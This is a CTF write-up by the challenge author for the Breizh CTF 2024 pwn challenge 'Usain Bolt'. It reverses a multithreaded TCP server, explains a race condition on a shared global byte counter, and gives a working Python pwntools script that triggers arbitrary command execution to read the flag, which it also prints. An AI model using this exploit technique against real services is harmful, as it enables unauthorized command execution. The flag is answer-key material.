Breizh CTF 2024 - Write-up Usain Bolt - Pwn

3 minute read

Here is the write-up of Usain Bolt challenge which I created for the Breizh CTF 2024. This is a Pwn challenge classified as easy.

Description

I've devised a nice little binary that's impossible to bypass. Want to give it a try?

Note: The flag is located in the flag.txt file in the root directory.

Difficulty : Easy

Resolution

For this Pwn challenge we only have a binary, no lib :

$ file usain_bolt
usain_bolt: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=28c1708461003b7fea955e8bcfb9a8bd90058f36, for GNU/Linux 3.2.0, not stripped

Let’s reverse it with IDA, here is a part of the main fonction :

    if ( bind(fd, &s, 0x10u) == -1 )
    {
      perror("bind");
      exit(1);
    }
    if ( listen(fd, 50) == -1 )
    {
      perror("listen");
      exit(1);
    }
    printf("Server listening on port %d...\n", 1337LL);
    v8 = 0;
    while ( 1 )
    {
      while ( 1 )
      {
        arg = accept(fd, &addr, &addr_len);
        if ( arg != -1 )
          break;
        perror("accept");
      }
      v4 = v8++;
      if ( pthread_create(&threads[v4], 0LL, handle_client, &arg) )
        perror("pthread_create");
    }
  }

This is a multithreaded TCP server in C. When a client connects to the server, the method handle_client is run.

This is the method handle_client :

// [...]
canary = __readfsqword(0x28u);
fd = *fd_1;
for ( i = recv(*fd_1, buff_input, 0x50uLL, 0); ; i = recv(fd, buff_input, 0x50uLL, 0) )
{
    recv_bytes = i;
    if ( i <= 0 )
        break;
    sleep(1u);
    if ( recv_bytes == 1 )
    {
        exec_command(fd, buff_input);
        break;
    }
    send(fd, "Nop\n", 4uLL, 0);
    memset(buff_input, 0, 0x50uLL);
}
if ( recv_bytes == -1 )
    perror("recv");
return close(fd);

There is no stack buffer overflow with the buffer, the size of the buffer is 0x58.

The function is simple, it receives an input in a buffer with a recv call on the socket file descriptor. The number of bytes read is placed in the recv_bytes variable. If one byte is received, the method exec_command is executed with the buffer as a parameter. This method, like its name suggests, executes the command placed in the buffer. Then it exits if the number of bytes is not one, it loops.

To execute exec_command we could only send “\n” in the socket, but this will execute nothing.

The fact this is a multi thread server could hint at one common vulnerability: Race condition. The sleep between the assignation of the variable recv_byte and the check could also hint us. The vulnerability itself resides in the position of the variable recv_bytes. This is a global variable placed in the BSS. This variable is not exclusive to the thread, it is shared between all threads.

There is a time window where we could abuse the instructions to do the race condition. We are going to create a Python thread to create a socket, send à “\n” to put recv_byte variable to one. And at the same time, we use another Python thread to be connected to the socket and send repeatedly the command we want to execute. We need to find a scenario during the sleep of one second where the second thread sets the local buffer to the command to execute and where the first thread is going to put the count byte variable to one to validate the condition.

This lead to arbitrary command execution, we only need to execute cat /flag.txt because we know it from the description.

Here is the python script to solve it :

from pwn import *
import time
import threading
import os
import sys

if len(sys.argv) < 3:
    print("Usage solve.py <host> <port>")
    exit(1)
_, host, port = sys.argv

def get_flag():
    io = remote(host,int(port))
    for i in range(1000):
        io.sendline(b"cat /flag.txt")
        #io.sendline(b"ls")
        recv_data = io.recvline()
        print(recv_data)
        if b"BZH" in recv_data:
            print("Done")
            os._exit(1)
        time.sleep(0.1)

thread = threading.Thread(target=get_flag)
thread.start()

info("Start second thread")
for i in range(1000):
    io = remote(host,int(port))
    io.sendline(b"")
    time.sleep(0.1)
    io.close()

thread.join()

We got the flag : BZHCTF{9"58-F4sTTT!}